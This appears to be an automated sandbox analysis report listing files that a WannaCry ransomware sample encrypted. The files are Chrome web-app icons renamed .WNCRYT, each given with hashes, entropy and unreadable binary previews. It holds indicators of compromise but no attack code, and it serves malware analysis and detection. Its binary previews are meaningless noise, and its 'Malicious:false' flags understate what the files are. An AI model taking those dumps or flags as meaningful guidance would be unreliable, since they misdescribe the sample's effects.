                                                                                                                        Preview:WANACRY!.......9.d.C..?......um..'.p..[.k.u1..==A...2.f..i..).~..8H,...W.N.=#...p.T.......P........p.C.H..c]....<..5+..[y.(.S#.......j.M`.....Tr4.t9...w.."J#...K.t.O.3.c.`;...ah.~.818...Db.__b0.....e.J..^jt*.p......R}.J....1...v\....=r].`..?...*7..H.8................y.-@..;.x{....U+yIl..8...eL...(.sO".7....KS/..4..b...f.......^U.=..t.1|8.m...i.@&.Xh-..0r..LaD.......R....H]h...CT.mCR....F....3u...C...8m.b.hmJ...<..O.&H$......%.6.....(f.DM&....5i..A.&(.6RF...,D..D.4..J.....tqj....O....Q......b$d.)5.rE.........(u....f.B.+.!.hle.n....c3.nz..vmV...m....vey..p..q...J......_.\.P.iY..@\..._qZ.y..uQi....:.:..-2..{~t.)..........KKDe...\.......1.y..=.....<e..FP..q..g....-..X...[.XUF.+.VE...D..)}R.no"o.(.k."....L..m\b...^.kCW..L..Y......\(f{.Z...k...x../7..............Q..x.J?tR....a~.P.(~b...*......p..qS.$S.2mb,0....{>.lOW..F.;...4S.!..x.tE_....1...z...s.B...NN<.......z....x+F.5.,I..H..d.1F..I(...T...3.....t/';P...6.G.Gs../...0..i$.q.!.qT

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1512
                                                                                                                        Entropy (8bit):7.867965541669548
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkHO1MjBZ+lB4qxXSveLOsPW0LwPhqJYFgTLHyAgsCbsz/I09eKNm7lavKHJuMj:bkHOIC4qxCv82SYSTye/2n5DJRj
                                                                                                                        MD5:64C10DB5D082072AE1ABEE18E3198459
                                                                                                                        SHA1:7ACDF74C474E14A838CB4D78BBF6CCE03562C0FF
                                                                                                                        SHA-256:1B149332982543A923A9858C69E0C41C5F1DF515390909D7E7D2D74BEB6A1D6F
                                                                                                                        SHA-512:B635810510842C402EBC2B81C13B230604B74F7F26BB4283A1DDC3F70720CC17360A3051B9DB1CEFF6CFD2C61559E701CF5A695F007F9028CF7167A7309EC293
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........Dh..B....B.I..e...[u|...B.g..:].@p&S).b....:.....v.q...t)...4...@. ^k>M.&.........W...1...'ZfDG.Q....sz..]J)..wO....p.....v....u...P.....d.Y.V.#r.....2r.?.(0.&.......|....v...:o..g......9.2.C....L.TM..w.*z..i......a..k+..{90..G2................... .......;H..x...w........p.0...2..C.r{#.RH.C.&D...m.x..j.4~8.R...0,.G.{...v..c.o.ed.Im.yo=.n.?.6^...5(...G..-.b.m....6...<.M.V......o.*......\Im...3-.....w`........f...-....x...k.!..V..@.S.M.......\\hc.bb...+,....;.s..[.hcl.[F....xq.F..WN/.@(..Q.......@....L.BH.N...i4.....u......d........G...V..<2..#G....j.d...n....'T...h..0...u.3.G.#..GyIlc...."...tLd9|z.].}T.A..d......nyA..$b-.KI.S1Fb-bC.O..../:P.s.P...!M..\.j]7.Z.t...I.1...k....5._"..H.J......HP...U.....zd..{.@.rZ.Y-{xa..c.ni>|4.&...p:.0'..[J7-D.u.`V%,.VP>.^....RE...l.k......^R.S...4....M...T.C.+3....x.7.....I+zFj.R_M..4.wA{....].s..9<...:.....$.._.....a.....|.....%...6.j...T...f....si.Q...@.F..U.K.-.Cr.......T...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4344
                                                                                                                        Entropy (8bit):7.95801523839773
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oIWnIcArrJ6j4QUKpLHhmuqAtLQeGl62o5nVVoFwRzTQ:kIc64RUluqeMn6nZboF+zTQ
                                                                                                                        MD5:596DAFC80AB3992C14CCB4A626001607
                                                                                                                        SHA1:98F96633362CDC3157006A49944A1FFCDB891AD4
                                                                                                                        SHA-256:0F892B94E59DB9BCC93B1ABA86464191AD48D280E9E242A961C07A81B153C4E1
                                                                                                                        SHA-512:A11F278CF0A4E51DADFB6C30A54B73BDA8FE928DDF7B29E706CAD7F722EA5440EB99628DA6197209D13093C5A1D21A681AE4EEED57B41D782D94FABFD0B149D8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....u....q.......@...i\....c.F.m....T....k4...C`[S...|...b..5.LYj..J./.[...a.,d8.VA"..r..26.....4."V..5..e[....5.2S9..V-.D,e..j3Z.....5"{..{1&.!r.......hH..#"V..`.J3=.htk.F.~. ...D..3.H.....=HCP.<P....S....5.+.w'.=......O....<......U......f...r..,...7.................Hr...oox.m..9*.e.U...7.....f..F..nPoGs.A<W.l.*D.z.Y../....g.=."..4....T..."|...T.8.c.s....(.2M.P..P..f`......{.p.....V...6x.T.Z.MP.o........../h.Po...L=....@........+.$..S..}(.....M."..:..G..f.x..|f%.N..UfY9.......*.N1..#..o......(2.?...-6w}.2....\..Ia.......!..:....G.-...u.....%o....|.Q.-(.h.....+...=.U.+..`..r**.`.l't-...4..L.G...-.kA.;T.?..[.....Sr.dkB>5.G7b>5%.%....5.X.7.....l.*.MI.vt.tvC.RU...x...Fk...F..."nUr....$\......<.b.#.t............4.a0..K..A...7.7_.c3s]...]..\..('..o..S2...,.(+x.k..eL..{.._.]X...T..~.p.C6.z%%...).*6.;........u..&.7=.QT. m...c..~..@6.".SS2K......|H..R..N..`..X*.`...3.._....j....r..C:..e...P.Te3.hTY9.......]d...*y..A..O.x.[..J..7[..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1192
                                                                                                                        Entropy (8bit):7.836781481636006
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkREE+SDXGcj+UmJtlMnEgDpWq1rnTCVMvEUE+WM4aAtHfB:bkRPTvOtlM1DpWm9cUEBM4rt/B
                                                                                                                        MD5:8A7119C25F1DA044EE18BA17B209DD60
                                                                                                                        SHA1:63C2280DAF83BD91DCFE8C8D52901BF71A7923CF
                                                                                                                        SHA-256:CD0AF72B45A1369750240E338E6570272BA99C4F7F4992790068E5F9442D8825
                                                                                                                        SHA-512:41859ABE9D055BFD304E41CED167FAF8E64344FB57EE2C2CB0697AD0DEEB64E5B47B480F90B98FF6D61976812B78E8A682E6F5E2D3077353F48C093FEB5E4A4D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....5..h.(]...*;.;[..?...]......._.:....:.28....E0.....X.<..&^...x..t..U."w+..n2.<.H..V..`..QI...`..lmV..Iz....v$..ny.....Jl..2T.k..?...A-..D.G.H...'0H.....` .".....`...v-..).......E=F..e..p.+]8^....&..%.C.d.*#a.A.......zJ.9EE.-..u...?].....nzL...0..................8...y.s..RL...?...!.z........."......d].....R.L-..n..j3C#.t.....p."...t>>?%t.S..3/y#/..}1..>...^..B...R..&..bA.-..P}..n.x.[....F.tq.B..p....9.e2^SbZ..JQ..G.....z..Yqx.L... CR6>......YD.S.8.......E'.6aiX...........%. ..dW...........Ln.0.q;Xb... .|.;....I.|..Y.q.{..A...$....f..4Pb~+.7......&..<...H.b.......$..:G...~.}h..@d....B.)A_..._..\!%.)..X\..*7..y....../n.C....1.;.._a.?.@..J-.N...WC.B....s..G.O~j3O.q%..9.U.......@....n..I.'..%.S.g.-C.0..m....d?f....z>..T|..l.N...`...UGw...TF....(..a.....B.. ..?....k..........Y..m.o..pZ...Z..u.k.\.Z.=....#...7l.e....p'.c....)rA.S...J5...v.U...*&..K.c..S.+..@H.^.(.a.qn....Ce..0..-.1..^...,2Y.5..EF.....~....(.-M+X.B=...........

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1448
                                                                                                                        Entropy (8bit):7.850679452684419
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkmOt2zZI86u3MZO6zEVeIiW+jN7YfroBtIdjr2IlzEBokxRCgzNH+93yuUzp:bkJtSviW+BeUwhr2MzEBXRzNe935Sp
                                                                                                                        MD5:56A539F5BF82078BFD264E25A3D2F50F
                                                                                                                        SHA1:8F79E0030FB0FC7EA461057C99EA0E57944FB638
                                                                                                                        SHA-256:DDA43C9FB1201F8EAA03CFD342A6D8A6AAF9EAF7D1CA39B3E9C7AEB183530F5F
                                                                                                                        SHA-512:A16D61C6A2133110D141CF1CACBB0CE785749668779301EE3AE1ADBA01D6ED472944923CB8016A63A45B207D568BEC94C6B5A52972D96AB4D05FF844F4E156B2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....3..e.*x.....o.O&I`......b....H..#..$.A...........=...F.SZ4;ch.Q.7R4H...$t.!.w.P...}..0....-.n......5.....I...}.0&._.......7...4D.j....KN...[..(.S.S3.v.G..?.a.3=...kn..XU..Z..?$.<-.0....3.S...P.....x........>..#..~..."x..0O.H....x[MT>"$r....ID...............|q.h_....9.R.....D.W.....d..a.<6..4 [|..G.L.`..t..d.3R...Nm..VV..blzs.o..<0......(.eO..`..LGl..C..f......9.....[{...E...|#t.'...J..)^z+........3.gfL.an.:...Q...eC..s..2i.l6....f...ij./...p.....?\.R(..x...8....V....fq..(....+m....J..z.6..q.Y....V..(.....h.e..A.:..dl...O.M. .q..4N...5......zc.g...].O.V.`.R...G......|.LrX.. ,..H.QyR...:.~>..0._:(tV.T..p^...~.%;..V.wm.{./..=A....68..,..zh.{.HH....Y.(.L...X.).#,.S.j.H.*.G.".J.....T..S..q......<..-D`.*..Y..s.klK..f#.............o.C60.T.......JV...~......{v...a.%..H.u!.x..!......_....h........$.....j.|)~=#=.9.Rkz&....ZN.../~..?^...1...R....m.K..0'....5...\....;........6..]........%.){.r.......|.'.....Z. .'....../E,.N

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1592
                                                                                                                        Entropy (8bit):7.856091941820987
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkih8GiCkBhD0saqSqGwpJ2sCiuGJCT2hjn:oinuBasRQFT2R
                                                                                                                        MD5:194E82B751D2460B58FD1055DBAAA082
                                                                                                                        SHA1:0B8DC7E3BA57BFCF3A1CECA11830CF5C6E68A976
                                                                                                                        SHA-256:A6DBF0EF6C700B95A84CB02935779EEEDE3576FD822BF690DB5E17D2BD06C2D4
                                                                                                                        SHA-512:C4B86EB9FD39B69D31D98641ACC9008B35A0FF40B81FBBB7D1E6580C761351E37204C51649D46072F8F2765CB6B18C9B8E0F6B2618B67F62E89D4FFC3D702B63
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....Ci....L.N.F.EQ..j.....g.G..FJ,...,<.k..H.D..Q...*.n..7........I.....O.........;..A{v.... ~.!&.zRs....4...h......:...k..sA.&$.....=/.}.......I........`.{^~.I...._..3...z.i...-O..&eD.../..@......r....Y.J.J[...&.w..q5..#xfR...v..w......m43......................q$:L.*p.V...tP.CU...X..<...<G......Vi%.Of..k.../...r....H....3..6.r.E.>..O.IB.U..!......c............[.w.....~.Yl...t.l$0.w.V.....eO.V.OI...^..c+.2?3. ..."0i..W.....`l$MP..FN..a...&...,....o...PWe..l.2.....B......Qc...K@SZyl.n*qpD+.....x..._.9;.....wK...s`...t!t@.....:?5b9....B.Z..J.a;......9...d...;.{..K... .V/XJK.o..3....v..R..@.b3nO......m6~.eE.`.a..0...R......l<gp...'...?..*.ga;-B%1...d...J.z..!Q....q........d....{..>...&....<...pf..S.)n8'.*..... ..L..?.Yr. .p@....d.BQ..N.#.h..qW).M.&.....=.^a..L.....g..].......qa.3......wx2M.Ho...6.."..I..&...w...y..k.q..8.@).!......H.....p+.nyD.............~4..?{.b..#M..z..%..9'.W.../.tn.?.vj.ie9S..6.E...6F..._ ._n..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1800
                                                                                                                        Entropy (8bit):7.897100167776049
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkr45NGI5+DBc12nKeHrLdOJhqajOIuo+yudXwIvRNu:o8HGIED6/0vdiqajOTo+yuZdvRNu
                                                                                                                        MD5:2DA63785768F6E843CD0175BA3163C28
                                                                                                                        SHA1:398CF97E2EB3367784247A12FD20AAB213283BB8
                                                                                                                        SHA-256:1784234B414D6BE5139DDFDFE95EB8F169AAB9E973B409EC7019A8760487E3E6
                                                                                                                        SHA-512:5F8E1ED9E69AFC216D5F02ED005A006AA59E05E6A6078F722C2807DB90C0D9E0AECCFFC6D4F286DB41444A51925A22FCBC62BF42AF97B832EF4D778321EB4683
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Z8..].!.fU.J.4.D.9.D!.8.W...Jx...2&>...~.>.....ZV....9...\-F.k..v#.1,..B..s..#...fh......X..}........1..{3Tk...#.qu...b....)*u.$.Nb.?eBUb..V..X..o..Q...c....0...@..Y.?-..f..X.^B.[..V..%..c..'i$....b.&+..0.[..T..z.1-~..U..'.a.O...$...`....bKNC...............z.r.ee.M.2.o.@lYp...`..f..-.K.le"..G.....C..>c.-....0A.........4S...+..x.............U^.&>...:.j.f^..#....&l>x.r..h.E...LN..3......!.u.....9..p=..h.....7.]....m..2.2K@m5.o.......4p.<G`j..........#.G....lnG.>.$..>N...t..=.%@\..^.D..j..-.[.K..'l.$.@DO.5...J...y......g\I.]..WX.|Wx.J^..,.~.:........:...Y(Lu...I.$.. h.D4/iZ.jx...Z..B....J.*mX...0...x....x..'.....#8..W...G..S...\1.;(.P'.N...K.t.9c.G..:.EY...M.W...8.G.....7....HX<..'$@.j......{.D..]...G.....,..s.......E......=....J..E.n.y..+=......0..?F..........":...W..a).....{.1.."7.E..y.0..W|K.+...I..J..J..)\a.4{.....6...5O6..=}.^hjWr...ll,q........B......x..W..@ G...n.....8..*Olks...L......5!..W.]..h..P.H...}=.L .re@..l..W...8}.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2296
                                                                                                                        Entropy (8bit):7.9310071282650325
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkfuEJs2yIzww8Diar4bw9eQD1PoaZTVctwfhk8mO7XuzTnfHBizFb:oZdLcoar4boD1PNg3O7oBizFb
                                                                                                                        MD5:A0F2EE6D50622612CA031D09BB7A9E32
                                                                                                                        SHA1:260D12752167F42660DF049D316C6DABE6B8EF67
                                                                                                                        SHA-256:647E6278E803DA36741ACC5D09BEB9C4C2910A0194184C79AB7BBEC9DBB0E96E
                                                                                                                        SHA-512:B9C691B72952126F274BBBD9714E9CCEBEAA60F25ED6754A52E5C052634A460519E4B33B3B36DDCEA8523A8DE9269A403FA38F3C47FBF76226F82AB487A26948
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....+(...h'x&.8...6.a..<d..0....B&.Ado.,d..T..}.$.D.S[...`.6. .......y.t.k..0.RdB`....._0.A...../....x..R.e..!.g0....`{m.R.#../..V.....Bj..xv..W...>_.l.W"2q"..<..8n..yE..dTF.u>.Pu.....t..9p....?....Q.;z..C..D..t..Q.Ku.z... .XwD.}..].8....%...w..&............b...1....g. ..X....,._.`.L. ..7.P......&....w%...i...........F..[L......L....i.'r..=%..R`.U.?M..:x%U.1..`.-.hu..i*.]QE...s......Cc.../..Si.h.m...V.5.5......}.P-.M..w...z...R.j...".3..8.{Y..-.^..."."\..h...J..E....<.-.e..1Q....}......S......Od..SE#5o........i.A[...h...c.$......7...S+.?^..^f....9..O{.m,[..8...o}...Xr.1d....-o.*s...!7..;.1..B.......p...o...H].%n`.... ..1..`......|{w0M*sM.K.wQ...o=.{....uP.L...E...EN.C%.q.^.43.......L..d..t.]..s...nfA.L.F..%I.n...X.....&.".1.m...R._.8Tm..".X>.._.#"1..f..2.z....W.O.......N.&*b).P.N.6...Q......~......r....Z[._.................D........!...n.....f.......t^t.Y>G...D.z.`....2.. ..i...........".4....M..L.^I.JD..(H.v...........D"'AW.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1528
                                                                                                                        Entropy (8bit):7.868342639352402
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkephVx/agV1BOcbn7ZC75Ng4y5VbOoc+JFiwRscnyyfqOjYKJ1OKjWnjpM:bkeph7igVTZbnNKNwJc+XiwRscnpT/EA
                                                                                                                        MD5:2222B3A980C3405B3423FCB597A55918
                                                                                                                        SHA1:A66F2BE5226D31EB8A2192A17086C000C458161F
                                                                                                                        SHA-256:3F6C4BBA210C28CA7E26738F3911C3B5604175BFE20A9001DFA65056DE5464B2
                                                                                                                        SHA-512:7C57610C545974C818D93D908CC400FAD38BE9A2910CA10F79E177DEE933F10058EDE4827A2B3EA28C130A30F070EF457292F9BD7BF8CBAB9E9F28257F3C9E1C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....{.2......./.-BH.R...6j...x.........g......YT..D.:G......;.....#....+...c.I..g.k......c....q.sh.7..:l.#8%.X.......7f..."....2aV.....N...'mV*....rn.`..h..RO......,......V.+..6.{..d......1[m<. S....;u.M..%l.N.].l..h\.v...*x...P.v.M(U..;.O.G..2....................X..)..8..1..b:2...S.3......./..[...*f%..8d.q.....O..l...a.%i'.wh....);..|...h.Wg.:.K9{[+.....*.w.IM5..s...."..1O..w......Jh.......T...tzX^.....H..4$.l..,.t..V*F...V.'..q...*..F.+t].".@...e......pM.+..U..q.z.@^....[2M..p*._}.j...........A....]gr.e..a.0..`...3A=.MAE.._e,...M.]..y....O.:3...6pG......^S.....{..).q.^..G&|.P.Z.........PQT>..<.(.....w.s......*J).r.i. .g@1........\#.>.I....X. ..<."2I@J....C.@\....Ma..t...w".//.:...-e.i+.... .......c.Hp..jQ..#.....{.........W....(.e.x..4.>J..q.7..=.e.KQ...$y....ss....:cs..NR6.H=.%........oO.g.\.....D..&.h|......./....x.0x0...|..%.<.5...s..\.'B.A....^.....V)...6Q..&:mo..3Rv.l..?...M.].....R.=...+.S..9.D.ljs..w...Q..G}

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4856
                                                                                                                        Entropy (8bit):7.955940859587039
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o6pViUmd+F7Wx5nntdl7ET6OZ0eX64UiT9QakU3ZUs3Nqu4aja4zhLC72aE:OKNMnnrsV0u64U41R3ZUs3H4ajnzhLC2
                                                                                                                        MD5:14DB2E053EBDDC6BE1E0B84ABF4CD9F9
                                                                                                                        SHA1:5AA6AAE098046D7A949D1F968982D265AFBD1C04
                                                                                                                        SHA-256:35263F540A2236151C8957F56C2F879FCC5FCC3E7267273DC532CF78B497F0A8
                                                                                                                        SHA-512:C44B1BEC03AFC6D0E3C087372707A4B55AA404F8FB359EA45EFB2E8209D05B87651F4813EF0128FCBCC50C3F7E66B9448CAEAAEEC49BE12AA975FD3CDD409690
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......}..;~.bB{A....NC.a.k..q..F.7!.H...BI..0....Z..;U4..x.`.....h..$ ...@`....4y@hQ..!..,.&2.u..k...>..I...-gq..Z.~..{...U......gD..).zG..S...i.....-c.X...U.......G(..2~.7..<...S.u....c_5O.!......{.........y...Zb...W..l.`f.N!I...0..x.....9..,..................6.....7DJ...T0.uo..Z ...x.&.1V.W..S...J..?.-.[D^...9.^.].HqR{...>.8~.B...K=.....Lh..JJ...N.......m.!%.|......=...9...'...;TX....F....s.......f.%..9....C..HK..^oz.%.G.....P..v...$..5.o<..T...^./......8....D...X..[.l..m..<...M$ mC.aY..uE..t.....F0t..M..^...q.V..c.y#g@.O..\X.u.b..x.....2.A...[.....}..L..t0F.&wo..V...#..._H.z>."A.i......t.u)F.:...q.....~...l..\....h....n.:..2<.%.....ALc..UE...U...........&.m.Aw.7'.bS=..=<b.tR.b.Ca.^.#.dD.6..J.j.P.`..J..%~....V....5X...VR...Jj...;S..cA.=@t.a#..>.t...2.../.p.....$%I?...g.&9`X.cm....".}.=Edg.... .].>.Tj.........7sAY./J..^.....+T.".C.K..lr.$..E...`X....4......]L.........3.;}. ].!^.......p.d.......6.F...1...\....o.....aW:......

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1208
                                                                                                                        Entropy (8bit):7.841539255993797
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkDEMJQCodSTSu9qEW1Bq3KaSJGjY+1Xkr0L8gvgFw3y7nb36n:bk4RB8uuZS43KaSJEFXk4yFwivq
                                                                                                                        MD5:DEB7148C25E2A6D72362D1475BDDE7B9
                                                                                                                        SHA1:B4AEF00000456252A58FC4297106F70E15291A42
                                                                                                                        SHA-256:125DF8DBB06FD0F60C5F234405B9CFD899AE691047C3CA1C0D454B4B9FDFC2CB
                                                                                                                        SHA-512:33D08877B2DCB18EDE149D122A43B63EE6A8B412A57B5102C48C78CAE1D935363BC60741F33051105D86AE2269B6978B7A8B816B430C0B44EAC28AE4B3C38B58
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......|..V....+|..........h.].&.iu.C.0..o.ph5@...AA.Y.C....0.x....d.s.g..7...\.E:).E../..`T.T.4...u......Y.qa.....?.!.Y..........>...K.^C.......k...../.&.D^.....>.o....}[..n........ri$C.V.........6.i.n;.w.....I......Ip^..C..du. l..y........"..M..#..............5.4.ku*..~..G...1.W..l.....6..FB)-..8.mf.|....`.Zl.{........K...j_..AH....?.3.;.,S.._6F.#.&.-.6..1tE.h........F..F.i...e...1.F.q#S$.:..f..6)-.y...*..U2..2o.Q=4>Q....Q]......[.....I....|...N.. .#.(u.N{./...4..s..m.....u..~.....&.f..h..8.n."......`9...lKO...,8X...z...5K..<......m.*....&b- .%.+....7yE%.ah.M.D.c6V]!..J...E).^q..>B.i.:.q.m..O..n..%B.&.(.........2.._.3j~...y.S.......O...|...N...C5.....W.u.'....e.h......`...T;....%...D\....t..._..p..\~H......]..6...(....6.oR..Em...@..#[oO..H.J=)d.`}4.N.e...?..].Ds@.4..-x.K....W..G.j........^...'.m+..s.0[7...H.31....Sp.L8.ch.....D.K..j.U1...i.cm,z.."...^.&..ZyN.}H.....^....<$..&.. .....]Xq...........5.o.s..k....;.A.....e..}q.W..."..T.]...p

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1384
                                                                                                                        Entropy (8bit):7.8524894505224525
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bks41rj9K3/DJdcEvb7t9RbNHWMPleRWWNEzzz8Ky7lVpFG14Es1qv6IC:bks4O3/0Evb7X9NHWjRW1zz8KZTs8v3C
                                                                                                                        MD5:546FB7B178FF484281647DEBBBFD146B
                                                                                                                        SHA1:C4C55777894AF83DF2D9DEBF6ADD6E0A6194D0C2
                                                                                                                        SHA-256:FCAE5228F56B475FF19E216CB4358FD4A3B05A835F79C90E789F068A954C071A
                                                                                                                        SHA-512:22B0C4F0822EAF5B4DF10B4BBDE92390AFAB7CA21CB7EB9C297079E5C55ECC8B5FA9F85894E5CA03A140317A8DCDFD53C18A966ECCEABB54351D7665FDAC26B8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....C>...?.(C..\n.. .....1v`j..`.......Y..a..xP...........9..0.lBs....;ft./s.P...l...p....~....Y1.4._>...K...v..H!_5+..s.....K..".l.......H.....M..S.....,.<...%N.]N.i..w.g|>....^....+.:.....6.m.....".-...o..?.'</[P..+n.~..3..{...{.B...n.@q.(.&.]....L.......E..w.7..19E&T..k.P..7..(....C'._y.#....a.R.@#.....hH=..TJ..R(..N.c!B......2.F.j.....u.....q=.c..v....`Nl.#{m.K...n.s....r1...pK#...T..."T..dq.<......~..=d..Vgk....#N....0./.r6..(..F....Q.=B.6...4o.]..Y0lH.AV....x..US...#..\...3..H...U...t.....7.....a..aK..a.<...?..9...s..l.!L..8xl.4I....u.w.T.].E.F.....`h.Z..%. &....}.'..\Z&6.3umG..oP....-...v'..$93x.=6bZ.8.@.....QX!g4....}.c.._,...+w+ .U7........C...d8Z.!f..i.....D...:.{d.....Y).......7[#* ...K.o:.+.i...A..G.6Py[.T.vC.].S.F.:{...Lv..7 ..e.n.u.W....Kdi...;5...-..M..?...B.h.n.C.........t.F.v.1L.*.|..sx^avt...........#.)D....'....jYv,.......*.I.r.x....G.s.L....O.......vCts.(].X.c.6...f..{B ..X].[j..s$!.....k..5[3...jq..+..*.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1528
                                                                                                                        Entropy (8bit):7.866666994860384
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkBJsSsUz1CMvwrtkfTezV2MsEc5YzjJU+miLo7SgwUBjN41G+S2cbGQLEYcP2W5:bkvzZCvATe5Tsd5Yv/xomUBjN41GY8Gp
                                                                                                                        MD5:A284AB89064CF6ABC578B87305DD290E
                                                                                                                        SHA1:91D42117DAB263FE5AB12A21760C152C06F8B781
                                                                                                                        SHA-256:F9A52A9797345B7FAC84E854737F8B09D53860A98DD755AA89CC8363EA919F4F
                                                                                                                        SHA-512:0C1A09AFF2246C49687D7770BBB24F17972D20FF92FE11ED9DC0922EFCE02EC3C809CEBA1584F18C4E2D58439E3DB8F6E9E3E70CB68E64643E1F493246C3582F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........e...-B.!C.............DB.j...R..E._IHH.`......X.,e.=..Vk.5.=...\R....W.~<.....[....]....Q......s{.4.(.Q..2P0Mw...g.h.1.[kj..j.|.y.&....t}..e.....w..E'1.e..5...j*@...F.<.cK.K.....&T...P..l*...b&...K.....6...5..V..m.....K.2.k..P.l.o......................M.()......Z......L.!2...YC.B.9..;..7...S....:..|.x.v..I....O.......W..T+/S&.^6.ni..1.$m$kDX...*.Eq..U.X}.....gu#.B%o:\...0{..o.d /.>'..........3...P...0..c.hmD_.P19C>..0..f.~.\{....&......{6A.=l.){...Xp.;.e.+...+...G......G~..y......ud....>_Z.).....<...E.?..m^.G....{..Z...j7.H.......yl.:...:'.v....s.....>H.L9.......r.4z.M.H.zv......*.:............s...u.j.w6d..)....d...^F s..K.V.....L....K....{b..z..=h.P'...QT.LS..C.i.$..B..C..X..#:...`.F8....o..."...&.j6.|.%.Z.r.z.\?....<.'R....s.Y#6.t..A:.=.^..}._... M.....KLY...L.~._H3.^._.x...{.].w.<6....k..f.x.. @U....}/.......F..X/d.._}.M.xr..s...7....7..8.....@.....nl]]....).z.v;......d.7......~.4..B.J..x..."..z$....|..'

